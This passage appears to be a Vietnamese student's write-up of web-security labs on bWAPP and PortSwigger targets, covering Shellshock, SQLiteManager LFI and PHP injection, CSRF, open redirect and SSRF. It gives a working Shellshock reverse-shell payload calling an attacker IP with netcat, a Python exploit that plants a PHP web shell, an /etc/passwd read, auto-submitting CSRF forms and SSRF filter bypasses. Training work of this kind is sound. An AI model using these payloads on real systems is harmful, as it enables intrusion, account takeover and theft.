lab - Khi sao chép đề thấy rằng đoạn `This is my first...` được lấy từ một iframe khác ![image](https://hackmd.io/_uploads/S1VLjiYrR.png) - Iframe đó lấy dữ liệu từ một file bên trong thư mục `cgi-bin` là một thư mục chứa các tệp thực thi `bashscript` **2. Giả thuyết** - CGI là một chuẩn cho phép máy chủ web chạy các chương trình thực thi như script để tạo ra nội dung động và các script CGI thường đặt trong thư mục cgi-bin trên máy chủ web. - `shellshock.sh` là một script Bash. Khi máy chủ web nhận được yêu cầu HTTP tới URL này, nó sẽ chạy script Bash `shellshock.sh`. - Nếu script này sử dụng các biến môi trường (ví dụ: các tiêu đề HTTP như Referer, User-Agent, v.v.), các biến môi trường này sẽ được truyền đến Bash. - Vậy liệu chúng ta có thể chèn được script Bash để tạo kết nối máy chủ từ xa rồi thực thi mã từ xa không ? **3. Khai thác** - Tạo script Bash để kết nối từ xa: ``` Referer: () { :;}; echo "Shellshock Vulnerability TEST" $(/bin/sh -c "nc -e /bin/bash 192.168.38.130 4444") ``` - Giải thích: - `() { :;};`: Tạo ra một hàm không hợp lệ để kích hoạt lỗ hổng ShellShock tiếp tục thực thi phần mã sau định nghĩa hàm. - `echo "Shellshock Vulnerability TEST"`: Để kiểm tra xem payload có thực sự được thực thi hay không - `$(/bin/sh -c "nc -e /bin/bash 192.168.38.130 4444")`: - `$(...)` là cú pháp để thực hiện lệnh bên trong và thay thế nó bằng kết quả đầu ra của lệnh đó. - `/bin/sh -c` cho phép thực thi một lệnh shell. - `"nc -e /bin/bash 192.168.38.130 4444"` là lệnh thực thi nc (netcat) để mở một kết nối mạng. - `nc -e /bin/bash` sử dụng nc để mở một shell Bash. - `192.168.38.130` là địa chỉ IP của máy tính kẻ tấn công. - `4444` là cổng mà kẻ tấn công đang lắng nghe kết nối. - Tạo một yêu cầu lắng nghe bến máy kẻ tấn công (Hình 3.1) ``` nc -lvnp 4444 ``` ![image](https://hackmd.io/_uploads/BkuILm9HR.png) Hình 3.1. Tạo yêu cầu lắng nghe phía kẻ tấn công - Đưa payload thực thi bash script vào trong header Referer ở đường dẫn `http://192.168.38.145/bWAPP/cgi-bin/shellshock.sh` (Hình 3.2) ![image](https://hackmd.io/_uploads/SkasL75H0.png) Hình 3.2. Chèn thêm Header Referer với payload đã được chuẩn bị ở trên - Bấm bấm gửi Request sẽ tạo ra được kết nối tới máy chủ ứng dụng từ máy kẻ tấn công và thực thi mã từ xa (Hình 3.3) ![image](https://hackmd.io/_uploads/rkwlDm5B0.png) Hình 3.3. Thành công thực thi mã từ xa tới máy chủ web --- SQLiteManager Local File Inclusion --- **1. Chức năng của ứng dụng** - Khai thác lỗ hổng LFI trên SQLiteManager phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/S1jpP75H0.png) Hình 1.1. Yêu cầu của bài lab - SQliteManager phiên bản 1.2.4 ![image](https://hackmd.io/_uploads/S1edFKqHA.png) - Tìm thấy được theo gợi ý `CVE-2007-1232` liên quan đến việc tận dụng cookie để thực hiện LFI ![image](https://hackmd.io/_uploads/B1aAkkoBC.png) - Khi vào được link [https://cxsecurity.com/issue/WLB-2007030064](https://cxsecurity.com/issue/WLB-2007030064) nằm trong trang tổng quan về CVE trên thì ta thấy rằng ngoài LFI phiên bản này còn bị cả XSS ![image](https://hackmd.io/_uploads/ByTIeJoS0.png) **2. Giả thuyết** - Theo như nội dung về PoC trên thì muốn khai thác được XSS thì người dùng cần có quyền tạo ra bảng mới với tên chứa mã độc, mã này sẽ được lưu trữ trong cơ sở dữ liệu. Khi quản trị viên mở SQLiteManager và xem bảng này, mã độc sẽ được thực thi và cookie của quản trị viên có thể bị đánh cắp. - CÒn nếu muốn khai thác LFI thì chúng ta cần vào trang chính của bản quản trị `/sqlite/` và chèn thêm tham sso cookie là SQLiteManager_currentTheme với giá trị là payload để thực hiện LFI ![image](https://hackmd.io/_uploads/Skeu1JsrA.png) **3. Khai thác** - Thực hiện khai thác LFI trước, thì chúng ta cần dùng Burp để bắt được gói tin chứa đường dẫn `/sqlite/` ![image](https://hackmd.io/_uploads/SJzvzJsSC.png) Hình 3.1. Lấy Request giống như trong PoC - Thêm tham số SQLiteManager_currentTheme với giá trị là `../../../../etc/passwd%00` và gửi gói tin để đọc được nội dung file `/etc/passwd` ![image](https://hackmd.io/_uploads/Hk9eEJjrC.png) Hình 3.1. Thêm tham số vào `cookie` và nhận được nội dung tệp `/etc/passwd` - Trong trang index của sqlite xuất hiện chức năng Trigger lưu trữ giá trị mình nhập và hiện thị nó trong bảng vậy nên sẽ khai thác XSS ở đây (Hình 3.2) ![image](https://hackmd.io/_uploads/SJLFwysS0.png) Hình 3.2. Khai thác XXS bằng cách chèn payload vào ô nhập Name hoặc Step - Thành công thực hiện XSS (Hình 3.3) ![image](https://hackmd.io/_uploads/Skd4u1jrR.png) Hình 3.3. Kết quả khi thực hiện chèn payload XSS hiển thị cookie --- SQLiteManager PHP Code Injection --- **1. Chức năng của ứng dụng** - Khai thác lỗ hổng để dùng code PHP thực thi mã từ xa trên SQLiteManager phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/S1GPF7qHA.png) Hình 1.1. Yêu cầu của bài lab - Search google về lỗ hổng này thì kết quả tìm kiếm đã xuất hiện trang chứa mã khai thác lỗ hổng này ![image](https://hackmd.io/_uploads/SJ_DkloHR.png) Hình 1.2. Tìm kiếm thông tin về lỗ hổng - Tải xuống PoC để khai thác tự động lỗ hổng ![image](https://hackmd.io/_uploads/B12nyeirA.png) Hình 1.3. PoC khai thác lỗ hổng **2. Khai thác** - Em viết lại Payload loại bỏ những phần thừa và thực thi mã từ xa để RCE ```javascript= import re import urllib.request from urllib.parse import urlencode from sys import argv, exit def strip_tags(value): # Strip tags with RegEx return re.sub('<[^>]*?>', '', value) def getDbId(sqliteUrl, myDbName): # Find Components htmlRes = urllib.request.urlopen(sqliteUrl, None, 120).read().decode('utf-8') if htmlRes: # If you found it take all the rows td = re.findall('<td class="name_db">(.*?)</td>', htmlRes, re.DOTALL) # Make a dict of stripped columns for element in td: if strip_tags(element) == myDbName: # Return Id return "".join(re.findall('\\?dbsel=(.*?)"', element, re.DOTALL)) return None def main(): print( 'SQLiteManager Exploit\n' ) if len(argv) < 2: # replace('\\', '/') - To Do The Same In Win And Linux filename = argv[0].replace('\\', '/').split('/')[-1] print('Execute Example: ' + filename + ' http://127.0.0.1/sqlite/\n') exit() sqliteUrl = argv[1] myDbName = "phpinfo" myDbFile = "phpinfo.php" # Create Database params = {'dbname': myDbName, 'dbVersion': '2', 'dbRealpath': None, 'dbpath': myDbFile, 'action': 'saveDb'} urllib.request.urlopen(sqliteUrl + "main.php", urlencode(params).encode('utf-8'), 120) # Get Database ID dbId = getDbId(sqliteUrl + "left.php", myDbName) # If Database Created if dbId: # Create Table + Shell Creator params = { 'DisplayQuery': 'CREATE TABLE temptab ( codetab text );\n' + \ 'INSERT INTO temptab VALUES (\'<?php system($_GET["cmd"]); ?>\');\n', 'sqlFile': None, 'action': 'sql', 'sqltype': '1' } urllib.request.urlopen(sqliteUrl + "main.php?dbsel=%s&table=temptab" % dbId, urlencode(params).encode('utf-8'), 120) # Inject Code urllib.request.urlopen(sqliteUrl + myDbFile, None, 120) # Remove Database urllib.request.urlopen(sqliteUrl + "main.php?dbsel=%s&table=&view=&trigger=&function=&action=del" % dbId, None, 120) print('Succeed') return print('Failed') if __name__ == '__main__': main() ``` - Giải thích: - - Thực thi payload trên bằng cách đưa nó vào file python và thực thi với đối số là URL `http://IP_Web/sqlite/` (Hình 2.1) ![image](https://hackmd.io/_uploads/Bkl-tgiSR.png) Hình 2.1. Thực thi payload thành công - Payload trên đã tạo ra một file `phpinfo.php` thêm đường dẫn file vào và thực thi lệnh command bằng cách thêm các command và tham số cmd (Hình 2.2) ![image](https://hackmd.io/_uploads/SJs_tgoSR.png) Hình 2.2. Thành công thực thi commanf đọc tệp `/etc/passwd` bằng đường dẫn `http://192.168.38.145/sqlite/phpinfo.php?cmd=cat%20/etc/passwd` --- XI. CSRF === CSRF (Change Password) --- **1. Chức năng của ứng dụng** - Ứng dụng có tính năng đổi mật khẩu (Hình 1.1) ![image](https://hackmd.io/_uploads/Bye9TQsHC.png) Hình 1.1. Chức năng đổi mật khẩu người dùng - Sau khi nhập mật khẩu mới và bấm Change, ứng dụng sử dụng phương thức GET để gửi dữ liệu nhạy cảm tới máy chủ (Hình 1.2) ![image](https://hackmd.io/_uploads/ByypfNorC.png) Hình 1.2. Dữ liệu mật khẩu mới được gửi tới server thành công - Ở level Medium và High trang web bắt nhập thêm mật khẩu cũ nên kẻ tấn công sẽ không thể thực hiện truy vấn method GET thành công ![image](https://hackmd.io/_uploads/SyyeD2sSR.png) **2. Đặt giả thuyết** - Ứng dụng lấy thông tin đầu vào của người dùng và thực thì trực tiếp thay vì lấy cookie hoặc mã CSRF token nào để xác thực cả. Vậy nếu khi người dùng khác truy cập vào đường link này thì mật khẩu của họ sẽ bị đổi giống kẻ tấn coogn điền sẵn hay sao ? **3. Chứng minh giả thuyết** - Tạo PoC CSRF để tự động thay đổi mật khẩu của dùng họ click vào đó - Payload form html để lừa người dùng truy cập vào để đổi mật khẩu ```javascript= <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://192.168.38.145/bWAPP/csrf_1.php"> <input type="hidden" name="password&#95;new" value="bug" /> <input type="hidden" name="password&#95;conf" value="bug" /> <input type="hidden" name="action" value="change" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` - Khi người dùng truy cập mật khẩu sẽ dược đổi thành công vì không có mã xác thực riêng mỗi lần dổi mật khẩu --- CSRF (Change Secret) --- **1. Chức năng của ứng dụng** - Ứng dụng có tính năng đổi mã secret (Hình 1.1) ![image](https://hackmd.io/_uploads/BySGxEjBR.png) Hình 1.1. Chức năng đổi mã secret - Tương tự bài đổi mật khẩu trên lần này bài secret khi đổi cũng không có mã xác thực riêng trong mỗi lần đổi (Hình 1.3) ![image](https://hackmd.io/_uploads/SJZmrnoSC.png) Hình 1.2. Request chứa secret mới - Ở level Medium và high mỗi lần đổi secret sẽ có mã token riêng nên không thế khai thác CSRF được ![image](https://hackmd.io/_uploads/S1PSP2oB0.png) **2. Tiến hành khai thác** **Level Low:** - Tạo trang web để lừa người dùng truy cập ```javascript= <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://192.168.38.145/bWAPP/csrf_3.php" method="POST"> <input type="hidden" name="secret" value="phuc" /> <input type="hidden" name="login" value="bee" /> <input type="hidden" name="action" value="change" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` - Khi người dùng truy cập vào trang web này sẽ gửi một yêu cầu POST tới trang web để đổi secret của tài khoản người dùng - khi truy cập vào trang web với code trên mã secret sẽ được đổi ![image](https://hackmd.io/_uploads/ryBJU2jrR.png) Hình 2.1. Mã secret của người dùng đã được đổi --- CSRF (Transfer Amount) --- **1. Chức năng của ứng dụng** - Ứng dụng có tính năng chuyển tiền đến tài khoản người khác (Hình 1.1) ![image](https://hackmd.io/_uploads/rkAHgEsHR.png) Hình 1.1. Chức năng chuyển tiền - Tương tự 2 bài trên ở level Low khi chuyển tiền ứng dụng chỉ thực hiện truy vấn với tham số là số tiền muốn chuyển và tài khoản chuyển đến (Hình 1.3) ![image](https://hackmd.io/_uploads/rJB-d2sH0.png) Hình 1.3. Request khi thực hiện chueyern tiền ở level Low - Ở level Medium và High sẽ có thêm mã xác thực token ![image](https://hackmd.io/_uploads/Syq2dnoHC.png) **2. Tiến hành khai thác** **Level Low:** - Payload tạo trang lừa người dùng truy cập để chuyển tiền ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://192.168.38.145/bWAPP/csrf_2.php"> <input type="hidden" name="account" value="123&#45;45678&#45;90" /> <input type="hidden" name="amount" value="100" /> <input type="hidden" name="action" value="transfer" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` - Khi người dùng truy cập tài khoản của họ sẽ tự động gửi tiền --- **XII. Open Redirect** === Unvalidated Redirects & Forwards (1) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng chuyển hướng người dùng đến các bài viết khác (Hình 1.1) ![image](https://hackmd.io/_uploads/rJd_faoHC.png) Hình 1.1. Các option để sang các trang quan trọng khác - Khi bấm Beam trang web sẽ chuyển sang mà mình đã chọn - Xem trong Burp để xem kĩ hơn về gói tin thì thây rằng khi chuyển sang trang web khác thì ứng dụng sẽ thực hiện truy vấn GET với tham số chứa giá tị của URL muốn chuyển tới (Hình 1.2) ![image](https://hackmd.io/_uploads/r1IuBTjH0.png) Hình 1.2. Request chứa giá trị url muốn chuyển tới - Ở level Medium và high thì thay vì đưa URL muốn chuyển tới nằm ở method GET thì nó sẽ cố định các giá trị này ![image](https://hackmd.io/_uploads/ry7rLporC.png) Hình 1.3. Đoạn xử lí dữ liệu ở level medium và high - Ở level high còn chắc chắn hơn khi hủy các session và cookie quan trọng khi redirect ![image](https://hackmd.io/_uploads/Bk7dU6sBR.png) Hình 1.3. Đoạn xử lí dữ liệu ở level high **2. Tiến hành khai thác** **Level Low:** - Thay URL trong yêu cầu GET thành URL mà mình muốn chuyển thay vì các URL mặc định ![image](https://hackmd.io/_uploads/ByeaPaoBA.png) Hình 2.1. Đã chuyển hướng thành công sang trang `facebook.com` --- Unvalidated Redirects & Forwards (2) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng chuyển hướng người dùng về trang chính `portal.php` (Hình 1.1) ![image](https://hackmd.io/_uploads/rJpmYaor0.png) Hình 1.1. Chức back về trang chủ - Ở level Low khi xem cách chươn trình redirect thấy rằng trang web thực hiện Request với method `GET` có param `ReturnUrl` với giá trị là trang `portal.php` để chuyển hướng người dùng về trang này ![image](https://hackmd.io/_uploads/Sk_rcTsrC.png) Hình 1.2. Request chứa param có Url để trang chuyển hướng đến - Ở level medium và High đã cố đinh giá trị này ở trong code luôn nên không thể thao túng được (Hình 1.3) ![image](https://hackmd.io/_uploads/r1Gca6sB0.png) Hình 1.3. Code xử lí dữ liệu ở level Medium và High - Còn level Low lấy giá trị từ $_Request nên có thể thao túng được (Hình 1.4) ![image](https://hackmd.io/_uploads/BJoDaaiSR.png) Hình 1.4. Code xử lí dữ liệu ở level Low **2. Tiến hành khai thác** **Level Low:** - Thay URL trong yêu cầu GET thành URL mà mình muốn chuyển thay vì các URL mặc định ![image](https://hackmd.io/_uploads/S10aapiBA.png) Hình 2.1. Đã chuyển hướng thành công sang trang `facebook.com` --- **XIII. Server-side request forgery (SSRF)** === Lab: Basic SSRF against the local server --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là truy cập vào giao diện quản trị tại `http://localhost/admin` và xóa người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/SywdCRjB0.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng đó là `checkStock` khi mà nó có thể lấy dữ liệu từ hệ thống nội bộ (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Request POST được chạy ngầm để truy xuất thông tin về số lượng bằng cách truy cập URL chứa id về mã sản phẩm (Hình 1.3) ![image](https://hackmd.io/_uploads/ByUgqAir0.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Trang web đang sử dụng cách truy xuất dữ liệu từ URL chứa id của sản phẩm, vậy nếu chúng ta đổi đường dẫn URL này bằng đường dẫn tới máy chủ nội bộ có phải chúng ta sẽ truy xuất được dữ liệu trong đó ? **3. Chứng minh giả thuyết** - Thay URL gọi đến lấy dữ liệu sản phần bằng URL truy cập vào trang admin trong localhost : ``` http://localhost/admin ``` - Truy vấn được trả về thành công ![image](https://hackmd.io/_uploads/HJisoCiSC.png) Hình 3.1. Thay đổi giá trị stockApi lấy dữ liệu sản phẩm thành URL truy cập trang admin - Truy cập được vào trang quản trị của admin (Hình 3.2) ![image](https://hackmd.io/_uploads/ryuRoAoHC.png) Hình 3.2. Truy cập trang admin - Xóa người carlos và bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/BkZeTCsBA.png) Hình 3.3. Solve bài lab --- Lab: Basic SSRF against another back-end system --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là truy cập vào giao diện quản trị tại địa chỉ IP nội bộ chưa biết và xóa người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/S1DQJ1hHC.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng đó là `checkStock` khi mà nó có thể lấy dữ liệu từ hệ thống nội bộ (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Request POST được chạy ngầm để truy xuất thông tin về số lượng bằng cách truy cập URL chứa id về mã sản phẩm (Hình 1.3) ![image](https://hackmd.io/_uploads/ByUgqAir0.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Trang web đang sử dụng cách truy xuất dữ liệu từ URL chứa id của sản phẩm, vậy nếu chúng ta đổi đường dẫn URL này bằng đường dẫn tới máy chủ nội bộ có phải chúng ta sẽ truy xuất được dữ liệu trong đó ? **3. Chứng minh giả thuyết** - Thay URL gọi đến lấy dữ liệu sản phần bằng URL truy cập vào trang admin trong ở IP nội bộ tuy nhiên là chưa biết rõ là địa chỉ nào : ``` http://192.168.0.X:8080/admin ``` - Sử dụng Burp Intruder để bruteforce đoán octet cuối cùng ![image](https://hackmd.io/_uploads/BJotXk2SR.png) - Truy vấn được trả về thành công với octet cuối là 21 ![image](https://hackmd.io/_uploads/rkShP12BR.png) Hình 3.1. Thay đổi giá trị stockApi lấy dữ liệu sản phẩm thành URL truy cập trang admin - Truy cập được vào trang quản trị của admin (Hình 3.2) ![image](https://hackmd.io/_uploads/ryuRoAoHC.png) Hình 3.2. Truy cập trang admin - Xóa người carlos và bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/BkZeTCsBA.png) Hình 3.3. Solve bài lab --- Lab: SSRF with blacklist-based input filter --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là truy cập vào giao diện quản trị tại `http://localhost/admin` và xóa người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/rkZihEhSR.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng đó là `checkStock` khi mà nó có thể lấy dữ liệu từ hệ thống nội bộ (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Request POST được chạy ngầm để truy xuất thông tin về số lượng bằng cách truy cập URL chứa id về mã sản phẩm (Hình 1.3) ![image](https://hackmd.io/_uploads/ByUgqAir0.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Trang web đang sử dụng cách truy xuất dữ liệu từ URL chứa id của sản phẩm, vậy nếu chúng ta đổi đường dẫn URL này bằng đường dẫn tới máy chủ nội bộ có phải chúng ta sẽ truy xuất được dữ liệu trong đó ? **3. Chứng minh giả thuyết** - Tương tự các bài trước thay URL gọi đến lấy dữ liệu sản phần bằng URL truy cập vào trang admin trong localhost : ``` http://localhost/admin ``` - Tuy nhiên truy vấn không được trả về thành công ![image](https://hackmd.io/_uploads/Hknibq2BR.png) Hình 3.1. Thay đổi giá trị stockApi lấy dữ liệu sản phẩm thành URL truy cập trang admin - Thử lại giá trị localhost thành `127.0.0.1` cũng không được tuy nhiên khi tham khảo tài liệu của PortSwigger thì có 4 cách khác để làm điều này ![image](https://hackmd.io/_uploads/Hy7nGqhBR.png) - Giải thích kĩ hơn về 4 cách trên: - Sử dụng đại diện IP thay thế cho `127.0.0.1` - Decimal: biểu diễn `127.0.0.1` dưới dạng số thập phân là `2130706433`. - Octal: `127.0.0.1` có thể được biểu diễn dưới dạng số bát phân là `017700000001`. - Shortened notation: Một cách biểu diễn khác có thể là `127.1`. - Đăng ký tên miền của riêng bạn mà giải quyết đến `127.0.0.1` - Bạn có thể đăng ký một tên miền và cấu hình nó để trỏ đến địa chỉ `127.0.0.1`. Ví dụ: `spoofed.burpcollaborator.net` có thể được sử dụng cho mục đích này. - Obfuscate các chuỗi bị chặn bằng cách sử dụng mã hóa URL hoặc biến thể chữ hoa, chữ thường - URL encoding: Thay đổi các ký tự thành mã hóa URL. Ví dụ, localhost có thể được mã hóa thành %6c%6f%63%61%6c%68%6f%73%74. - Case variation: Sử dụng các biến thể chữ hoa, chữ thường để vượt qua bộ lọc. Ví dụ, LOCALhost hoặc LoCaLhOsT. - Cung cấp một URL mà bạn kiểm soát, và sau đó chuyển hướng đến URL mục tiêu - Có thể tạo một URL mà bạn kiểm soát, sau đó cấu hình nó để chuyển hướng đến URL mục tiêu. Điều này có thể bao gồm sử dụng các mã trạng thái HTTP khác nhau hoặc các giao thức khác nhau: - HTTP redirect codes: Sử dụng các mã trạng thái HTTP khác nhau như 301, 302, 307, hoặc 308 để chuyển hướng đến URL mục tiêu. - Protocol switching: Thử chuyển từ http sang https hoặc ngược lại trong quá trình chuyển hướng để bypass bộ lọc. - Sau khi thử các cách trên thì tìm ra một payload hoan chỉnh để khai thác đó là ``` http://127.1/%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45 ``` - Giải thích: - `127.1`: sẽ được máy chỉ coi là 127.0.0.1 - `%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45`: Được mã hóa URL 2 lần để che giấu trang admin - Thành công truy cập được vào trang quản trị của admin với payload trên(Hình 3.2) ![image](https://hackmd.io/_uploads/BkvVmshBC.png) Hình 3.2. Truy cập trang admin - Thêm đường dẫn để xóa người carlos và bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/HkHUVo3BA.png) Hình 3.3. Solve bài lab --- Lab: SSRF with filter bypass via open redirection vulnerability --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là truy cập vào giao diện quản trị tại `http://192.168.0.12:8080/admin` và xóa người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/B1t-6s3BA.png) Hình 1.1. Yêu cầu của bài lab - Giống như mấy bài lab trước thử URL `http://192.168.0.12:8080/admin` và giá trị truy xuất hàng tồn kho để truy cập vào hệ thống nội bộ tuy nhiên lại không được (Hình 1.2) ![image](https://hackmd.io/_uploads/SyZPS2hHA.png) Hình 1.2. StockApi không truy cập được vào URL này - Đi tìm chỗ khác có gọi đến URL thì thấy rằng khi bấm chuyển sản phẩm thì URL của sản phẩm tiếp theo sẽ đc đưa vào tham số path trên đường dẫn ![image](https://hackmd.io/_uploads/Hy_Tb22BC.png) Hình 1.2. Request khi chuyển sang sản phẩm khác **2. Đặt giả thuyết** - Trang web đang sử dụng cách truy xuất dữ liệu của sản phẩm khác từ URL chứa id của sản phẩm, vậy nếu chúng ta đổi đường dẫn URL này bằng đường dẫn tới máy chủ nội bộ có phải chúng ta sẽ truy xuất được dữ liệu trong đó ? **3. Chứng minh giả thuyết** - Thay URL redirect đến dữ liệu sản phần tiếp theo bằng URL truy cập vào trang admin ở IP nội bộ : ``` http://192.168.0.12:8080/admin ``` - Truy vấn được thực hiện thành công ![image](https://hackmd.io/_uploads/BJ2LLnhrC.png) Hình 3.1. Thay đổi giá trị trong tham số `path` để gọi tới trang web quản trị trong hệ thống nội bộ - Tuy nhiên chúng ta không thể nhìn thấy trực tiếp được trang mà chúng ta cài redirect tới bởi vì khi redirect thì muốn xem chúng ta vào URL mà URL trang quản trị không thể truy cập ở bên ngoài - Vậy nên chúng ta cần một tính năng để xem được trang admin thông qua trang đó - Chúng ta sẽ cần tận dụng lại trang stockApi để lấy về số liệu sản phẩm - Giờ chúng ta sẽ đưa URL chuyển hướng vào trong stockAPI trong method Post lấy dữ liệu này - Truy cập được vào trang quản trị của admin (Hình 3.2) ![image](https://hackmd.io/_uploads/S1TuD3hSA.png) Hình 3.2. Truy cập trang admin - Bổ sung vào URL, param để xóa người carlos và bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/HkrADn2SA.png) Hình 3.3. Solve bài lab --- Lab: Blind SSRF with out-of-band detection --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là tạo được yêu cầu http với server bên ngoài thông qua trường Referer (Hình 1.1) ![image](https://hackmd.io/_uploads/BJYDunhBA.png) Hình 1.1. Yêu cầu của bài lab - Dùng ứng dụng để trong Request xuất hiện Header Referer (Hình 1.2) ![image](https://hackmd.io/_uploads/HyeL-a2HA.png) Hình 1.2. Request chứa header Referer **2. Đặt giả thuyết** - Trang web sẽ gửi trường Referer này tới máy chỉ vậy nếu chúng ta đổi trường này bằng URL với server của chúng ta tự tạo liệu có tạo được kết nối tới server của ứng dụng web đó hay không ? **3. Chứng minh giả thuyết** - Dùng Burp Collaborator để tạo ra URL có server là chúng ta kiểm soát - Đưa URL chúng ta vừa tạo vào header Referer ở Request mà chúng ta bắt được trong hình 1.2 (Hình 3.1) ![image](https://hackmd.io/_uploads/HJY64phSR.png) Hình 3.1. Request đã được thay đổi giá trị URL do chúng ta thao túng - Sau khi gửi Request trên với nội dung Referer là URL của Burp Collaborator thì chúng ta đã nhận được các yêu cầu DNS và Http truyền tới ![image](https://hackmd.io/_uploads/B1Xd463rA.png) Hình 3.2. Các Request được gửi tới URL trogn Burp Collaborator - Bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/HyVkS63rC.png) Hình 3.3. Solve bài lab --- Lab: SSRF with blacklist-based input filter --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là truy cập vào giao diện quản trị tại `http://localhost/admin` và xóa người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/rkZihEhSR.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng đó là `checkStock` khi mà nó có thể lấy dữ liệu từ hệ thống nội bộ (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Request POST được chạy ngầm để truy xuất thông tin về số lượng bằng cách truy cập URL chứa id về mã sản phẩm (Hình 1.3) ![image](https://hackmd.io/_uploads/ByUgqAir0.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Trang web đang sử dụng cách truy xuất dữ liệu từ URL chứa id của sản phẩm, vậy nếu chúng ta đổi đường dẫn URL này bằng đường dẫn tới máy chủ nội bộ có phải chúng ta sẽ truy xuất được dữ liệu trong đó ? **3. Chứng minh giả thuyết** - Tương tự các bài trước thay URL gọi đến lấy dữ liệu sản phần bằng URL truy cập vào trang admin trong localhost : ``` http://localhost/admin ``` - Tuy nhiên truy vấn không được trả về thành công ![image](https://hackmd.io/_uploads/Hknibq2BR.png) Hình 3.1. Thay đổi giá trị stockApi lấy dữ liệu sản phẩm thành URL truy cập trang admin - Thử lại giá trị localhost thành `127.0.0.1` cũng không được tuy nhiên khi tham khảo tài liệu của PortSwigger thì có 4 cách khác để làm điều này ![image](https://hackmd.io/_uploads/Hy7nGqhBR.png) - Giải thích kĩ hơn về 4 cách trên: - Sử dụng đại diện IP thay thế cho `127.0.0.1` - Decimal: biểu diễn `127.0.0.1` dưới dạng số thập phân là `2130706433`. - Octal: `127.0.0.1` có thể được biểu diễn dưới dạng số bát phân là `017700000001`. - Shortened notation: Một cách biểu diễn khác có thể là `127.1`. - Đăng ký tên miền của riêng bạn mà giải quyết đến `127.0.0.1` - Bạn có thể đăng ký một tên miền và cấu hình nó để trỏ đến địa chỉ `127.0.0.1`. Ví dụ: `spoofed.burpcollaborator.net` có thể được sử dụng cho mục đích này. - Obfuscate các chuỗi bị chặn bằng cách sử dụng mã hóa URL hoặc biến thể chữ hoa, chữ thường - URL encoding: Thay đổi các ký tự thành mã hóa URL. Ví dụ, localhost có thể được mã hóa thành %6c%6f%63%61%6c%68%6f%73%74. - Case variation: Sử dụng các biến thể chữ hoa, chữ thường để vượt qua bộ lọc. Ví dụ, LOCALhost hoặc LoCaLhOsT. - Cung cấp một URL mà bạn kiểm soát, và sau đó chuyển hướng đến URL mục tiêu - Có thể tạo một URL mà bạn kiểm soát, sau đó cấu hình nó để chuyển hướng đến URL mục tiêu. Điều này có thể bao gồm sử dụng các mã trạng thái HTTP khác nhau hoặc các giao thức khác nhau: - HTTP redirect codes: Sử dụng các mã trạng thái HTTP khác nhau như 301, 302, 307, hoặc 308 để chuyển hướng đến URL mục tiêu. - Protocol switching: Thử chuyển từ http sang https hoặc ngược lại trong quá trình chuyển hướng để bypass bộ lọc. - Sau khi thử các cách trên thì tìm ra một payload hoan chỉnh để khai thác đó là ``` http://127.1/%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45 ``` - Giải thích: - `127.1`: sẽ được máy chỉ coi là 127.0.0.1 - `%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45`: Được mã hóa URL 2 lần để che giấu trang admin - Thành công truy cập được vào trang quản trị của admin với payload trên(Hình 3.2) ![image](https://hackmd.io/_uploads/BkvVmshBC.png) Hình 3.2. Truy cập trang admin - Thêm đường dẫn để xóa người carlos và bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/HkHUVo3BA.png) 